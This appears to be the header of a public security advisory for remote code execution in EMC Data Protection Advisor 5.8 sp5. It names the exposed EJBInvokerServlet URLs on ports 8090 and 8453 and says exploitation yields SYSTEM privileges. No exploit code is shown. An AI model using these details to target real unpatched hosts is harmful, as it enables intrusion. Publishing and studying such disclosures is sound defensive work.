EMC Data Protection Advisor DPA Illuminator - EJBInvokerServlet Remote Code Execution

EMC Data Protection Advisor DPA Illuminator EJBInvokerServlet Remote Code Execution

tested against: Microsoft Windows Server 2008 r2 sp1
                EMC Data Protection Advisor 5.8 sp5

vulnerability:
the "DPA Illuminator" service (DPA_Illuminator.exe) listening
on public port 8090 (tcp/http) and 8453 (tcp/https) is vulnerable.
It exposes the following servlet:

http://[host]:8090/invoker/EJBInvokerServlet
https://[host]:8453//invoker/EJBInvokerServlet

due to a bundled invoker.war
The result is remote code execution with NT AUTHORITY\SYSTEM
privileges.
